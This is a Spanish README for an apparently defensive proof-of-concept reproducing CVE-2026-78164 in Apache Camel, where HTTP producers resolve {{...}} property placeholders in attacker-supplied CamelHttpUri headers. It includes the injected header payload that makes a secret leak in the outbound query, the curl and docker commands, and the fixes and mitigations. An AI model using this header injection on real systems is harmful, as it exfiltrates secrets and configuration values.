
Prueba de concepto ejecutable para CVE-2026-78164, que demuestra la filtración de secretos cuando los productores HTTP de Apache Camel resuelven marcadores de posición de propiedades en encabezados CamelHttpUri proporcionados por el atacante.
Reproductor de prueba de concepto ejecutable para la vulnerabilidad de Apache Camel en la que las familias de productores HTTP permiten que un mensaje entrante sobrescriba la URI del endpoint a través de las cabeceras CamelHttpUri y CamelRestHttpUri, y luego pasaban esa cadena proporcionada por el mensaje por CamelContext.resolvePropertyPlaceholders() antes de usarla.
La resolución de marcadores de posición de propiedades es una facilidad de resolución de configuración, no un paso de análisis de URI. Alcanza variables de entorno del sistema operativo, propiedades del sistema de la JVM, cada PropertiesFunction en el classpath (incluidas las funciones de secretos de AWS, Azure, GCP, HashiCorp, IBM, CyberArk y Kubernetes) y — a través de camel-bean — la invocación de un método sin argumentos en cualquier bean del registro. Aplicarla a contenido de Exchange influenciado por el atacante convierte una cadena URI en un contexto de evaluación de configuración y beans. El autor de la ruta no optó por nada de esto: un simple to("http://backend/api") estático era suficiente.
| Runtime | Directorio | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (afectado; corregido en 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, afectado) |
El comportamiento es anterior a la línea 4.x (se remonta a camel-http4 / camel-netty4), por lo que todas las versiones afectadas y el Camel 4.15.0 del Camel Quarkus más reciente son vulnerables. La corrección se distribuye en Camel 4.18.5 / 4.22.1 / 4.23.0; el módulo Spring Boot ejecuta tanto la compilación afectada (4.22.0) como la compilación corregida (4.22.1). Ningún Camel Quarkus publicado incluye todavía un Camel corregido.
La ruta es un simple to("http://127.0.0.1:9100/collect") estático que apunta a un colector local. El atacante establece la cabecera CamelHttpUri con una URI que lleva un token de marcador de posición de propiedades — sin conocer el valor del secreto, solo nombrando la clave:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
La aplicación inicializa una propiedad del sistema JVM cve78164.secret para representar cualquier valor de configuración o secreto de bóveda. En la compilación afectada, el productor resuelve el marcador de posición antes de que se envíe la solicitud, por lo que el colector ve el secreto en la consulta saliente. En la compilación corregida, el token se reenvía literalmente.
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
Salida esperada en la compilación afectada:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
En la compilación corregida, el colector en su lugar ve GET /collect?leak={{sys:cve78164.secret}} (literal, no resuelto).
| Propiedad | Valor |
|---|---|
| Componente | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (Neutralización incorrecta de elementos especiales utilizados en un motor de plantillas), CWE-200 (Exposición de información) |
| Severidad | ALTA |
| Vector de ataque | Cabecera de anulación CamelHttpUri / CamelRestHttpUri que transporta un token {{...}}; el cuerpo/cabeceras no están limitados por bridgeEndpoint, y varios consumidores rellenan CamelHttpUri a partir de la línea de petición como funcionalidad de proxy inverso |
| Impacto | Expansión de variables de entorno, propiedades del sistema y secretos de vault en la petición saliente; invocación sin argumentos de beans del registro; un oráculo de claves de configuración establecidas/no establecidas mediante el error reflejado |
| Versiones afectadas | Desde 4.0.0 anterior a 4.18.5, desde 4.19.0 anterior a 4.22.1 (el comportamiento es anterior a 4.x) |
| Versiones corregidas | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24418 |
| Crédito | [email protected] |
Aviso: https://camel.apache.org/security/CVE-2026-78164.html
La llamada resolvePropertyPlaceholders() por mensaje se elimina en cada sitio afectado, por lo que un token {{...}} que
aparece solo en CamelHttpUri o CamelRestHttpUri ahora se trata como parte literal de la URI. Los marcadores de posición en la
URI del propio endpoint de la ruta no se ven afectados: se resuelven una vez, en tiempo de compilación, cuando se crea el endpoint.
Elimine las cabeceras de anulación en el límite de confianza antes del productor con removeHeader("CamelHttpUri") y
removeHeader("CamelRestHttpUri"), o establezca skipControlHeaders=true en los endpoints camel-http (el único componente
que ofrece esa opción). bridgeEndpoint=true no es una solución alternativa. Aplique un HeaderFilterStrategy de entrada estricto
en los consumidores expuestos a remitentes no confiables, y resuelva los secretos a través de un vault en lugar de mediante variables de entorno o propiedades del sistema
que un marcador de posición pueda nombrar.
Este repositorio se publica con fines educativos y defensivos: para ayudar a los usuarios de Apache Camel a comprender la vulnerabilidad, verificar si se ven afectados y confirmar que la actualización la resuelve. El "secreto" es un fixture local inerte. No utilice este material contra sistemas que no sean de su propiedad o que no opere.